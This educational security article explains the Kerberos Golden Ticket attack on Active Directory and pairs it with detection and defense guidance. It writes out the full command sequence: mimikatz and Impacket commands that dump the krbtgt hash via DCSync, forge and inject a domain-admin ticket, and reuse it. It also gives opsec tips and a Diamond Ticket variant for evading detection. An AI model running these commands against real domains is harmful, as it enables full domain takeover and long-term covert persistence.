Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
A Golden Ticket is a forged Kerberos Ticket-Granting Ticket (TGT) minted with the domain’s krbtgt account key. The krbtgt account is the KDC’s own master key: every legitimate TGT in the domain is encrypted and signed with it. An attacker who recovers that one key can therefore manufacture a TGT for *any* principal — including one that does not exist — stamped with any group memberships they choose, and the domain controllers will honour it. In practice this is unconstrained, domain-wide impersonation: Domain Admin, Enterprise Admin, or a custom-crafted identity, on demand.
Golden Tickets matter because they sit at the *root* of the Kerberos trust chain rather than at any one service. Once the krbtgt key is known, the forgery is done entirely offline and never requires contacting a DC to *create* the ticket, so there is no 4768 (TGT request) event for the minting. The ticket then works until the krbtgt password is rotated — and because the KDC accepts both the current and the previous krbtgt key, it must be rotated twice to fully invalidate a forged ticket. Since krbtgt is almost never rotated in most environments, a single compromise can grant years of stealthy persistence.
Attack Prerequisites
Forging a Golden Ticket is gated almost entirely on one secret. The requirements are:
- The krbtgt account key — its NT hash (RC4) or, preferably, its AES256 key. This is the crown-jewel secret; obtaining it normally means you already reached Domain Admin, DCSync rights, or a DC’s memory/NTDS.dit at least once.
- The domain SID — the base SID used to construct the privileged group SIDs inside the PAC (e.g.
-512for Domain Admins). - The domain FQDN — to name the realm the ticket is valid in.
- A username to impersonate — real or fabricated; the KDC does not require the account to exist to accept a well-formed, correctly signed TGT (subject to modern PAC-validation hardening, discussed below).
- No DC contact at forge time — minting is offline; a DC is only involved later when the forged TGT is exchanged for service tickets.
How It Works
A TGT is encrypted with the krbtgt key and carries a PAC describing the user and their group SIDs. When a client later asks the KDC for a service ticket (TGS-REQ), the KDC decrypts the presented TGT with its own krbtgt key, and — because it decrypted and the PAC’s KDC signature verifies — it trusts the identity and groups inside it and issues service tickets accordingly. A Golden Ticket exploits the fact that the *same key* that the KDC uses to validate TGTs is the one the attacker now holds. With it you build the TGT yourself: pick the user, set the group SIDs to 512 (Domain Admins), 518, 519, 520, 513, sign the PAC with the krbtgt key, and the KDC cannot distinguish your forgery from one it issued.
This is the essential contrast with a Silver Ticket. A Silver Ticket forges a TGS with a single service’s key, so it is scoped to one SPN on one host and is presented directly to that service — the DC is never contacted at all. A Golden Ticket forges a TGT with the krbtgt (KDC) key, so it is domain-wide, but the holder still performs normal TGS-REQs to the DC to obtain each service ticket. That difference drives detection: a Golden Ticket is broader and *does* generate 4769 service-ticket events on DCs (just no preceding 4768), whereas a Silver Ticket generates nothing on any DC. Golden = keys to the kingdom, mildly noisy at the DC; Silver = one door, silent at the DC.
The forged PAC is also signed twice, but for a Golden Ticket the attacker holds the krbtgt key, so both the server and KDC signatures are valid — which is exactly why the KDC accepts the ticket without question. This is why protecting krbtgt is categorically different from protecting any single service account: it is the key that certifies every other identity in the domain.
Vulnerable Code / Configuration
The single precondition is exposure of the krbtgt key. The canonical way to extract it, given DCSync rights (Replicating Directory Changes), is mimikatz’s lsadump::dcsync or Impacket’s secretsdump, which replicate the account from the DC without ever running code on it:
lsadump::dcsync /domain:corp.local /user:krbtgt
# Object RID : 502
# Hash NTLM : <KRBTGT_NT_HASH>
# aes256_hmac (4096) : <KRBTGT_AES256_KEY>
# Impacket equivalent over the wire (needs DCSync-capable creds):
secretsdump.py -just-dc-user krbtgt corp.local/da:Passw0rd@dc01.corp.local
The configuration failure that makes the stolen key so valuable is that krbtgt is treated as static. Its password is set at domain creation and, unlike user or machine passwords, is *not* rotated automatically. In many domains the key is a decade old, so a single historical DC compromise still yields a working Golden Ticket today. You can see the neglect directly:
Get-ADUser krbtgt -Properties PasswordLastSet | Select PasswordLastSet
# PasswordLastSet : 2014-03-19 09:12:44 <-- key unchanged for years
Because the KDC honours the current and previous krbtgt key (the N-1 key, to avoid breaking tickets in flight during a change), a single reset does not revoke an existing Golden Ticket — the old key is still accepted. Only a second reset pushes the compromised key out of the N-1 slot. A domain that has never done a controlled double-rotation of krbtgt is, in effect, permanently exposed to any key that ever leaked.
Walkthrough / Exploitation
First recover the krbtgt hash — typically via DCSync from a privileged context, as above. Next obtain the domain SID, which forms the base of the PAC group SIDs:
lookupsid.py corp.local/da:Passw0rd@dc01.corp.local 0
# [*] Domain SID is: S-1-5-21-1111111111-2222222222-3333333333
Forge and inject the ticket with mimikatz. /krbtgt supplies the krbtgt NT hash (use /aes256 instead for stealth), /sid is the domain SID, and /ptt loads the TGT into the current session. mimikatz defaults the groups to the standard privileged set (513, 512, 520, 518, 519):
kerberos::golden /user:Administrator /domain:corp.local \
/sid:S-1-5-21-1111111111-2222222222-3333333333 \
/krbtgt:<KRBTGT_NT_HASH> \
/ptt
With the TGT in memory, request any service and act as Domain Admin — for example, open the DC’s admin share, which triggers a normal TGS-REQ under the forged identity:
dir \\dc01.corp.local\C$
# Access granted as Administrator with Domain Admin group SIDs.
From Linux, Impacket’s ticketer builds the same TGT into a ccache. Prefer -aesKey over -nthash when you have the AES key, to avoid issuing an RC4 ticket into an AES domain:
ticketer.py -nthash <KRBTGT_NT_HASH> \
-domain-sid S-1-5-21-1111111111-2222222222-3333333333 \
-domain corp.local Administrator
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass corp.local/Administrator@dc01.corp.local
A stealthier modern variant is the Diamond Ticket (supported by Rubeus): instead of forging a TGT from scratch, request a *legitimate* TGT, decrypt it with the krbtgt key, edit the PAC to add privileged groups, and re-encrypt. The result inherits realistic timestamps and flags from a genuinely issued ticket, avoiding the tell-tale anomalies of a fully-fabricated Golden Ticket.
Note: Set realistic values. Historic tooling defaulted the Golden Ticket lifetime to 10 years — a glaring anomaly, since real domain policy caps TGT lifetime at 10 hours with a 7-day renewal. Match the impersonated user’s real RID and existing group memberships where possible, and align the encryption type (AES) with what the domain actually issues. Every default you leave in place is a detection opportunity.
Opsec: The Golden Ticket itself leaves no
4768, but *using* it does hit DCs with4769service-ticket requests — so the forgery is not invisible, it just shifts the evidence. A forged principal that has no prior authentication history, RC4 tickets in an AES environment, and SIDs/lifetimes that don’t match reality are the artifacts hunters key on. Diamond Tickets exist specifically to erode these tells.
Detection and Defense
Golden Tickets cannot be prevented once krbtgt leaks — they can only be revoked (by rotation) and hunted. The durable controls all center on that key:
- Double-rotate krbtgt — reset the krbtgt password twice, with a wait between resets longer than the maximum ticket lifetime, on a routine schedule and immediately after any suspected DC or Domain Admin compromise. One reset is not enough because of the N-1 key.
- Protect DCSync — audit which principals hold *Replicating Directory Changes All* on the domain head; remove non-DC accounts. Most Golden Ticket incidents begin with a DCSync of krbtgt.
- Hunt ticket anomalies — look for
4769service-ticket requests with no preceding4768, TGTs with abnormal lifetimes, RC4 (etype 0x17) tickets in an AES-only domain, and account names in tickets that do not correspond to real, previously-authenticating users. - Apply PAC-signature hardening — deploy Microsoft’s Kerberos PAC updates (the November 2022 fixes for CVE-2022-37967) and move through the staged enforcement, which strengthens PAC signing and makes some forged PACs detectable/rejectable.
- Tier-0 hygiene — protect DCs, limit Domain Admin usage, and use credential-theft mitigations so the krbtgt key is never exposed in the first place.
Real-World Impact
The Golden Ticket technique was introduced publicly by Benjamin Delpy in mimikatz and detailed extensively by Sean Metcalf, and it remains one of the most impactful persistence primitives in Active Directory. It is catalogued in MITRE ATT&CK as T1558.001 (Steal or Forge Kerberos Tickets: Golden Ticket) and is repeatedly observed in advanced intrusions and ransomware operations, where operators use it to survive password resets and re-enter a domain at will after the initial compromise. Because the fix requires the awkward, easily-neglected double rotation of krbtgt, many organisations that were once compromised remain exposed long after they believe they have remediated.
Conclusion
Golden Tickets are devastating because they subvert the root of the Kerberos trust chain: the krbtgt key that certifies every identity in the domain. Steal it once and you can mint TGTs for anyone, offline, until it is rotated twice. Where a Silver Ticket is a narrow, DC-silent forgery of one service ticket, a Golden Ticket is domain-wide and eternal until krbtgt changes. The only durable defenses are to keep the krbtgt key from leaking, to rotate it twice on a schedule and after any compromise, and to hunt the ticket-usage anomalies the forgery leaves behind on domain controllers.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:
Comments